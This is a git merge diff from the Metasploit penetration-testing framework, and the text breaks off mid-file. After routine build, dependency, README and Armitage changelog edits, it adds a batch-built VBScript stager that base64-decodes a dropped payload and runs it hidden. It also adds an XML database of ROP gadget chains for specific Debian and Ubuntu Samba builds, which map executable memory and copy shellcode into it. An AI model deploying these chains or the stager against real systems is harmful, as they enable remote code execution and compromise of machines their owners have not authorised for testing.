Merge branch 'master' into nullbind-mssql_linkcrawler
commit
cddda9eab7
|
@ -6,6 +6,8 @@
|
||||||
.yardoc
|
.yardoc
|
||||||
# Mac OS X files
|
# Mac OS X files
|
||||||
.DS_Store
|
.DS_Store
|
||||||
|
# simplecov coverage data
|
||||||
|
coverage
|
||||||
data/meterpreter/ext_server_pivot.dll
|
data/meterpreter/ext_server_pivot.dll
|
||||||
data/meterpreter/ext_server_pivot.x64.dll
|
data/meterpreter/ext_server_pivot.x64.dll
|
||||||
doc
|
doc
|
||||||
|
|
|
@ -0,0 +1,8 @@
|
||||||
|
language: ruby
|
||||||
|
rvm:
|
||||||
|
- '1.8.7'
|
||||||
|
- '1.9.3'
|
||||||
|
|
||||||
|
notifications:
|
||||||
|
irc: "irc.freenode.org#msfnotify"
|
||||||
|
|
|
@ -0,0 +1,33 @@
|
||||||
|
# Contributing to Metasploit
|
||||||
|
|
||||||
|
## Reporting Bugs
|
||||||
|
|
||||||
|
If you would like to report a bug, please take a look at [our Redmine
|
||||||
|
issue
|
||||||
|
tracker](https://dev.metasploit.com/redmine/projects/framework/issues?query_id=420)
|
||||||
|
-- your bug may already have been reported there! Simply [searching](https://dev.metasploit.com/redmine/projects/framework/search) for some appropriate keywords may save everyone a lot of hassle.
|
||||||
|
|
||||||
|
If your bug is new and you'd like to report it you will need to
|
||||||
|
[register
|
||||||
|
first](https://dev.metasploit.com/redmine/account/register). Don't
|
||||||
|
worry, it's easy and fun and takes about 30 seconds.
|
||||||
|
|
||||||
|
## Contributing Metasploit Modules
|
||||||
|
|
||||||
|
If you have an exploit that you'd like to contribute to the Metasploit
|
||||||
|
Framework, please familiarize yourself with the
|
||||||
|
**[HACKING](https://github.com/rapid7/metasploit-framework/blob/master/HACKING)**
|
||||||
|
document in the
|
||||||
|
Metasploit-Framework repository. There are many mysteries revealed in
|
||||||
|
HACKING concerning code style and content.
|
||||||
|
|
||||||
|
[Pull requests](https://github.com/rapid7/metasploit-framework/pulls)
|
||||||
|
should corellate with modules at a 1:1 ratio
|
||||||
|
-- there is rarely a good reason to have two, three, or ten modules on
|
||||||
|
one pull request, as this dramatically increases the review time
|
||||||
|
required to land (commit) any of those modules.
|
||||||
|
|
||||||
|
Pull requests tend to be very collaborative for Metasploit -- do not be
|
||||||
|
surprised if your pull request to rapid7/metasploit-framework triggers a
|
||||||
|
pull request back to your own fork. In this way, we can isolate working
|
||||||
|
changes before landing your PR to the Metasploit master branch.
|
5
Gemfile
5
Gemfile
|
@ -5,7 +5,7 @@ gem 'activesupport', '>= 3.0.0'
|
||||||
# Needed for Msf::DbManager
|
# Needed for Msf::DbManager
|
||||||
gem 'activerecord'
|
gem 'activerecord'
|
||||||
# Database models shared between framework and Pro.
|
# Database models shared between framework and Pro.
|
||||||
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git'
|
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0'
|
||||||
# Needed for module caching in Mdm::ModuleDetails
|
# Needed for module caching in Mdm::ModuleDetails
|
||||||
gem 'pg', '>= 0.11'
|
gem 'pg', '>= 0.11'
|
||||||
|
|
||||||
|
@ -24,4 +24,7 @@ end
|
||||||
group :test do
|
group :test do
|
||||||
# testing framework
|
# testing framework
|
||||||
gem 'rspec'
|
gem 'rspec'
|
||||||
|
# code coverage for tests
|
||||||
|
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||||
|
gem 'simplecov', '0.5.4', :require => false
|
||||||
end
|
end
|
||||||
|
|
12
Gemfile.lock
12
Gemfile.lock
|
@ -1,8 +1,9 @@
|
||||||
GIT
|
GIT
|
||||||
remote: git://github.com/rapid7/metasploit_data_models.git
|
remote: git://github.com/rapid7/metasploit_data_models.git
|
||||||
revision: dd6c3a31c5ad8b55f4913b5ba20307178ba9c7bf
|
revision: 73f26789500f278dd6fd555e839d09a3b81a05f4
|
||||||
|
tag: 0.3.0
|
||||||
specs:
|
specs:
|
||||||
metasploit_data_models (0.0.2)
|
metasploit_data_models (0.3.0)
|
||||||
activerecord
|
activerecord
|
||||||
activesupport
|
activesupport
|
||||||
pg
|
pg
|
||||||
|
@ -27,7 +28,7 @@ GEM
|
||||||
coderay (1.0.8)
|
coderay (1.0.8)
|
||||||
diff-lcs (1.1.3)
|
diff-lcs (1.1.3)
|
||||||
i18n (0.6.1)
|
i18n (0.6.1)
|
||||||
method_source (0.8)
|
method_source (0.8.1)
|
||||||
multi_json (1.3.6)
|
multi_json (1.3.6)
|
||||||
pg (0.14.1)
|
pg (0.14.1)
|
||||||
pry (0.9.10)
|
pry (0.9.10)
|
||||||
|
@ -44,6 +45,10 @@ GEM
|
||||||
rspec-expectations (2.11.3)
|
rspec-expectations (2.11.3)
|
||||||
diff-lcs (~> 1.1.3)
|
diff-lcs (~> 1.1.3)
|
||||||
rspec-mocks (2.11.3)
|
rspec-mocks (2.11.3)
|
||||||
|
simplecov (0.5.4)
|
||||||
|
multi_json (~> 1.0.3)
|
||||||
|
simplecov-html (~> 0.5.3)
|
||||||
|
simplecov-html (0.5.3)
|
||||||
slop (3.3.3)
|
slop (3.3.3)
|
||||||
tzinfo (0.3.33)
|
tzinfo (0.3.33)
|
||||||
yard (0.8.2.1)
|
yard (0.8.2.1)
|
||||||
|
@ -59,4 +64,5 @@ DEPENDENCIES
|
||||||
rake
|
rake
|
||||||
redcarpet
|
redcarpet
|
||||||
rspec
|
rspec
|
||||||
|
simplecov (= 0.5.4)
|
||||||
yard
|
yard
|
||||||
|
|
|
@ -1,5 +1,5 @@
|
||||||
|
|
||||||
Metasploit
|
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
|
||||||
==
|
==
|
||||||
The Metasploit Framework is released under a BSD-style license. See
|
The Metasploit Framework is released under a BSD-style license. See
|
||||||
COPYING for more details.
|
COPYING for more details.
|
||||||
|
@ -40,10 +40,11 @@ reading some of the great tutorials online:
|
||||||
|
|
||||||
Contributing
|
Contributing
|
||||||
--
|
--
|
||||||
See the [Dev Environment Setup][wiki-devenv] guide on github which will
|
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
|
||||||
walk you through the whole process starting from installing all the
|
walk you through the whole process starting from installing all the
|
||||||
dependencies, to cloning the repository, and finally to submitting a
|
dependencies, to cloning the repository, and finally to submitting a
|
||||||
pull request.
|
pull request. For slightly more info, see
|
||||||
|
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
|
||||||
|
|
||||||
|
|
||||||
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment "Metasploit Development Environment Setup"
|
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment "Metasploit Development Environment Setup"
|
||||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -1,6 +1,29 @@
|
||||||
Armitage Changelog
|
Armitage Changelog
|
||||||
==================
|
==================
|
||||||
|
|
||||||
|
26 Nov 12 (tested against msf 16114)
|
||||||
|
---------
|
||||||
|
- Windows command shell tab is now friendlier to commands that prompt
|
||||||
|
for input (e.g., time command)
|
||||||
|
- [host] -> Meterpreter -> Access -> Escalate Privileges now shows all
|
||||||
|
the framework's new exploit/windows/local modules too
|
||||||
|
- [host] -> Shell -> Post Modules now shows the framework's unix/local
|
||||||
|
and exploit/linux/local modules
|
||||||
|
- Added Ctrl+I shortcut. Lets you choose a session to interact with.
|
||||||
|
- Added Steal Token button to Processes dialog.
|
||||||
|
- Armitage now asks Metasploit for a non-expiring authentication token.
|
||||||
|
This will prevent Armitage from losing its access to msfrpcd when you
|
||||||
|
put your computer to sleep or pause the VM running Metasploit.
|
||||||
|
- add_user and add_[local]group_user now show all of their output when
|
||||||
|
the -h flag is used to operate on a remote host.
|
||||||
|
- added a Delete menu to creds table. Right-click a cred to delete it
|
||||||
|
|
||||||
|
Cortana Updates (for scripters)
|
||||||
|
--------
|
||||||
|
- aliased &data_delete to &data_clear to match the documentation.
|
||||||
|
- &file_get, &loot_get, and &file_content no longer delete the remote
|
||||||
|
file when connected to a teamserver.
|
||||||
|
|
||||||
16 Oct 12 (tested against msf 15972)
|
16 Oct 12 (tested against msf 15972)
|
||||||
---------
|
---------
|
||||||
- Added port 5985 to MSF Scans list.
|
- Added port 5985 to MSF Scans list.
|
||||||
|
|
|
@ -0,0 +1,41 @@
|
||||||
|
echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
|
||||||
|
echo Set file = fs.GetFile("ENCODED") >>decode_stub
|
||||||
|
echo If file.Size Then >>decode_stub
|
||||||
|
echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
|
||||||
|
echo data = fd.ReadAll >>decode_stub
|
||||||
|
echo data = Replace(data, vbCrLf, "") >>decode_stub
|
||||||
|
echo data = base64_decode(data) >>decode_stub
|
||||||
|
echo fd.Close >>decode_stub
|
||||||
|
echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
|
||||||
|
echo ofs.Write data >>decode_stub
|
||||||
|
echo ofs.close >>decode_stub
|
||||||
|
echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
|
||||||
|
echo shell.run "DECODED", 0, false >>decode_stub
|
||||||
|
echo Wscript.sleep(1000 * 60 * 5) >>decode_stub
|
||||||
|
echo Else >>decode_stub
|
||||||
|
echo Wscript.Echo "The file is empty." >>decode_stub
|
||||||
|
echo End If >>decode_stub
|
||||||
|
echo Function base64_decode(byVal strIn) >>decode_stub
|
||||||
|
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
|
||||||
|
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
|
||||||
|
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
|
||||||
|
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
|
||||||
|
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
|
||||||
|
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
|
||||||
|
echo If Not w2 Then _ >>decode_stub
|
||||||
|
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
|
||||||
|
echo If Not w3 Then _ >>decode_stub
|
||||||
|
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
|
||||||
|
echo If Not w4 Then _ >>decode_stub
|
||||||
|
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
|
||||||
|
echo Next >>decode_stub
|
||||||
|
echo base64_decode = strOut >>decode_stub
|
||||||
|
echo End Function >>decode_stub
|
||||||
|
echo Function mimedecode(byVal strIn) >>decode_stub
|
||||||
|
echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
|
||||||
|
echo If Len(strIn) = 0 Then >>decode_stub
|
||||||
|
echo mimedecode = -1 : Exit Function >>decode_stub
|
||||||
|
echo Else >>decode_stub
|
||||||
|
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
|
||||||
|
echo End If >>decode_stub
|
||||||
|
echo End Function >>decode_stub
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,436 @@
|
||||||
|
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||||
|
<db>
|
||||||
|
<rop>
|
||||||
|
<compatibility>
|
||||||
|
<target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
|
||||||
|
</compatibility>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
dpkg -l|grep libgcrypt
|
||||||
|
ii libgcrypt11 1.4.5-2 LGPL Crypto library - runtime library
|
||||||
|
b6977000-b69e8000 r-xp 00000000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
|
||||||
|
b69e8000-b69eb000 rw-p 00070000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
|
||||||
|
-->
|
||||||
|
|
||||||
|
<gadgets base="0">
|
||||||
|
<gadget offset="0x00004d44">pop ebx ; pop ebp ; ret</gadget>
|
||||||
|
<gadget offset="0x00071ad4">offset of .got.plt section</gadget>
|
||||||
|
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||||
|
<gadget offset="0x00063dbf">pop eax; ret</gadget>
|
||||||
|
<gadget offset="0x00071af4">mmap@got - 4</gadget>
|
||||||
|
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
|
||||||
|
<gadget offset="0x00009974">jmp eax</gadget>
|
||||||
|
<gadget offset="0x00004d41">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
|
||||||
|
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||||
|
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||||
|
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||||
|
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||||
|
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||||
|
<gadget value ="0x00000000">mmap arg : off_t </gadget>
|
||||||
|
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||||
|
<gadget offset="0x0006a761">pop edx ; inc ebx ; ret</gadget>
|
||||||
|
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
|
||||||
|
<gadget offset="0x0004159f">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
|
||||||
|
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||||
|
<gadget offset="0x0005d4c3">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
|
||||||
|
<gadget offset="0x00060a1a">pop esi ; ret</gadget>
|
||||||
|
<gadget offset="0x0005c01b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
|
||||||
|
<gadget offset="0x0003da28">push esp ; and al, 0x0C ; call esi</gadget>
|
||||||
|
<gadget offset="0x00063dbf">pop eax ; ret</gadget>
|
||||||
|
<gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
|
||||||
|
<gadget offset="0x000538c4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
|
||||||
|
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||||
|
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||||
|
<gadget offset="0x00055743">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||||
|
<gadget offset="0x00063dbf">pop eax; ret</gadget>
|
||||||
|
<gadget offset="0x00071b6c">memcpy@got - 4</gadget>
|
||||||
|
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||||
|
<gadget offset="0x00055743">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||||
|
<!-- set ecx to same value than edx -->
|
||||||
|
<gadget offset="0x0006e61f">xchg eax, esi ; ret || save eax</gadget>
|
||||||
|
<gadget offset="0x00063dbf">pop eax; ret</gadget>
|
||||||
|
<gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
|
||||||
|
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
|
||||||
|
<gadget offset="0x0005c914"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||||
|
<gadget offset="0x0006e61f"> xchg eax, esi ; ret ; || restore eax</gadget>
|
||||||
|
<gadget offset="0x00060a1a">pop esi ; ret</gadget>
|
||||||
|
<gadget offset="0x00071ad4">esi = offset of .got.plt section</gadget>
|
||||||
|
<gadget offset="0x00008505">pop edi ; pop ebp **1** ; ret</gadget>
|
||||||
|
<gadget offset="0x00004d0c">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||||
|
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||||
|
<gadget offset="0x0005b68a">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||||
|
<gadget value ="size">payload size</gadget>
|
||||||
|
</gadgets>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</rop>
|
||||||
|
<rop>
|
||||||
|
<compatibility>
|
||||||
|
<target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
|
||||||
|
<target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
|
||||||
|
</compatibility>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
dpkg -l|grep libgcr
|
||||||
|
ii libgcrypt11 1.5.0-1 LGPL Crypto library - runtime library
|
||||||
|
b69e3000-b6a65000 r-xp 00000000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
||||||
|
b6a65000-b6a66000 r**p 00081000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
||||||
|
b6a66000-b6a68000 rw-p 00082000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
||||||
|
-->
|
||||||
|
|
||||||
|
<gadgets base="0">
|
||||||
|
<gadget offset="0x000048ee">pop ebx ; ret</gadget>
|
||||||
|
<gadget offset="0x00082ff4">offset of .got.plt section</gadget>
|
||||||
|
<gadget offset="0x0006933f">pop eax; ret</gadget>
|
||||||
|
<gadget offset="0x000830a4">mmap@got - 4</gadget>
|
||||||
|
<gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
|
||||||
|
<gadget offset="0x00007d79">jmp eax</gadget>
|
||||||
|
<gadget offset="0x00005646">add esp, 0x1C; ret || mmap ret, skip overt mmap arguments</gadget>
|
||||||
|
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||||
|
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||||
|
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||||
|
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||||
|
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||||
|
<gadget value ="0x00000000">mmap arg : off_t </gadget>
|
||||||
|
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||||
|
<gadget offset="0x0006fe61">pop edx ; inc ebx ; ret</gadget>
|
||||||
|
<gadget offset="0x00084000">edx = writable location, in GOT</gadget>
|
||||||
|
<gadget offset="0x00046dcd">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; ret || save EAX (mmaped addr) in GOT</gadget>
|
||||||
|
<gadget offset="0x00008532">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||||
|
<gadget offset="0x000438ad">mov eax, ecx ; pop ebp ; ret</gadget>
|
||||||
|
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||||
|
<gadget offset="0x000056e8">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||||
|
<gadget offset="0x0006933f">pop eax ; ret</gadget>
|
||||||
|
<gadget offset="0x00084100">eax = writable location, in GOT</gadget>
|
||||||
|
<gadget offset="0x000048ee">pop ebx ; ret</gadget>
|
||||||
|
<gadget offset="0x00084100">ebx = writable location, in GOT</gadget>
|
||||||
|
<gadget offset="0x0004cccf">push esp ; add dword [eax], eax ; add byte [ebx+0x5E], bl ; pop edi ; pop ebp ; ret || edi = esp</gadget>
|
||||||
|
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||||
|
<gadget offset="0x00020bad">mov eax, edi ; pop ebx ; pop esi ; pop edi ; ret</gadget>
|
||||||
|
<gadget value ="0x00000000">junk for ebx</gadget>
|
||||||
|
<gadget value ="0x00000048">esi = value to add to esp to point to shellcode</gadget>
|
||||||
|
<gadget value ="0x00000000">junk for edi</gadget>
|
||||||
|
<gadget offset="0x0001ffef">xchg eax, ebx ; ret</gadget>
|
||||||
|
<gadget offset="0x0000c39c">add ebx, esi ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||||
|
<gadget offset="0x0006933f">pop eax; ret</gadget>
|
||||||
|
<gadget offset="0x00083024">memcpy@got - 4</gadget>
|
||||||
|
<gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||||
|
<gadget offset="0x0001ffef">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||||
|
<gadget offset="0x00004803">pop esi ; ret</gadget>
|
||||||
|
<gadget offset="0x00082ff4">esi = offset of .got.plt section</gadget>
|
||||||
|
<gadget offset="0x00007af3">pop edi ; pop ebp **1** ; ret</gadget>
|
||||||
|
<gadget offset="0x000104c5">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||||
|
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||||
|
<gadget offset="0x0001fdfa">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||||
|
<gadget value ="size">payload size</gadget>
|
||||||
|
</gadgets>
|
||||||
|
</rop>
|
||||||
|
<rop>
|
||||||
|
<compatibility>
|
||||||
|
<target>Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2</target>
|
||||||
|
</compatibility>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
dpkg -l|grep libgcr
|
||||||
|
ii libgcrypt11 1.4.6-4ubuntu2 LGPL Crypto library - runtime library
|
||||||
|
b69f8000-b6a69000 r-xp 00000000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
|
||||||
|
b6a69000-b6a6a000 r**p 00070000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
|
||||||
|
b6a6a000-b6a6c000 rw-p 00071000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
|
||||||
|
|
||||||
|
we arrive on rop chain with pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
|
||||||
|
4 first pops are after pop esp
|
||||||
|
-->
|
||||||
|
<gadgets base="0">
|
||||||
|
<gadget offset="0x00071ff4">ebx = offset of .got.plt section</gadget>
|
||||||
|
<gadget value ="0x00000000">esi = junk to be skipped over</gadget>
|
||||||
|
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||||
|
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||||
|
<gadget offset="0x000641ff">pop eax; ret</gadget>
|
||||||
|
<gadget offset="0x00072010">mmap@got - 4</gadget>
|
||||||
|
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
|
||||||
|
<gadget offset="0x00007f19">jmp eax</gadget>
|
||||||
|
<gadget offset="0x000046b1">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
|
||||||
|
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||||
|
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||||
|
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||||
|
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||||
|
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||||
|
<gadget value ="0x00000000">mmap arg : off_t </gadget>
|
||||||
|
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||||
|
<gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
|
||||||
|
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
|
||||||
|
<gadget offset="0x00041b85">mov dword [edx], eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
|
||||||
|
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||||
|
<gadget offset="0x0005822d">esi = pop ebx ; pop esi ; pop edi ; ret</gadget>
|
||||||
|
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||||
|
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||||
|
<gadget offset="0x0005d903">xchg eax, edx ; ret || edx = eax , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||||
|
<gadget offset="0x00043cd5">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000008 ; call esi || after call, esi = esp </gadget>
|
||||||
|
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||||
|
<gadget offset="0x00005c60">xchg eax, esi ; ret</gadget>
|
||||||
|
<gadget offset="0x0005c45c">pop ecx ; ret</gadget>
|
||||||
|
<gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
|
||||||
|
<gadget offset="0x00053dc4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
|
||||||
|
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||||
|
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||||
|
<gadget offset="0x0005c6e9">xchg eax, ebx ; ret || ebx = src in memcpy</gadget>
|
||||||
|
<gadget offset="0x000641ff">pop eax; ret</gadget>
|
||||||
|
<gadget offset="0x00072ffc">writable add in GOT - 4</gadget>
|
||||||
|
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = mmaped addr</gadget>
|
||||||
|
<gadget offset="0x0005cd54">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||||
|
<gadget offset="0x000641ff">pop eax; ret</gadget>
|
||||||
|
<gadget offset="0x0007204c">memcpy@got - 4</gadget>
|
||||||
|
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||||
|
<gadget offset="0x0005c6e9">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||||
|
<gadget offset="0x00060e5a">pop esi ; ret</gadget>
|
||||||
|
<gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
|
||||||
|
<gadget offset="0x00007d05">pop edi ; pop ebp **1** ; ret</gadget>
|
||||||
|
<gadget offset="0x0005822d">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||||
|
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||||
|
<gadget offset="0x0005baca">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||||
|
<gadget value ="size">payload size</gadget>
|
||||||
|
</gadgets>
|
||||||
|
</rop>
|
||||||
|
|
||||||
|
<rop>
|
||||||
|
<compatibility>
|
||||||
|
<target>Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8</target>
|
||||||
|
</compatibility>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
dpkg -l|grep libgcrypt
|
||||||
|
ii libgcrypt11 1.4.5-2ubuntu1 LGPL Crypto library - runtime library
|
||||||
|
b6a20000-b6a91000 r-xp 00000000 08:01 17247 /lib/libgcrypt.so.11.5.3
|
||||||
|
b6a91000-b6a92000 r**p 00070000 08:01 17247 /lib/libgcrypt.so.11.5.3
|
||||||
|
b6a92000-b6a94000 rw-p 00071000 08:01 17247 /lib/libgcrypt.so.11.5.3
|
||||||
|
-->
|
||||||
|
|
||||||
|
<gadgets base="0">
|
||||||
|
<gadget offset="0x00004634">pop ebx ; pop ebp ; ret</gadget>
|
||||||
|
<gadget offset="0x00071ff4">offset of .got.plt section</gadget>
|
||||||
|
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||||
|
<gadget offset="0x0006421f">pop eax; ret</gadget>
|
||||||
|
<gadget offset="0x00072010">mmap@got - 4</gadget>
|
||||||
|
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
|
||||||
|
<gadget offset="0x0000922c">jmp eax</gadget>
|
||||||
|
<gadget offset="0x00004631">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
|
||||||
|
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||||
|
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||||
|
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||||
|
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||||
|
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||||
|
<gadget value ="0x00000000">mmap arg : off_t </gadget>
|
||||||
|
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||||
|
<gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
|
||||||
|
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
|
||||||
|
<gadget offset="0x000417af">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
|
||||||
|
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||||
|
<gadget offset="0x0005d923">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
|
||||||
|
<gadget offset="0x00060e7a">pop esi ; ret</gadget>
|
||||||
|
<gadget offset="0x0005c47b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
|
||||||
|
<gadget offset="0x0003dbd8">push esp ; and al, 0x0C ; call esi</gadget>
|
||||||
|
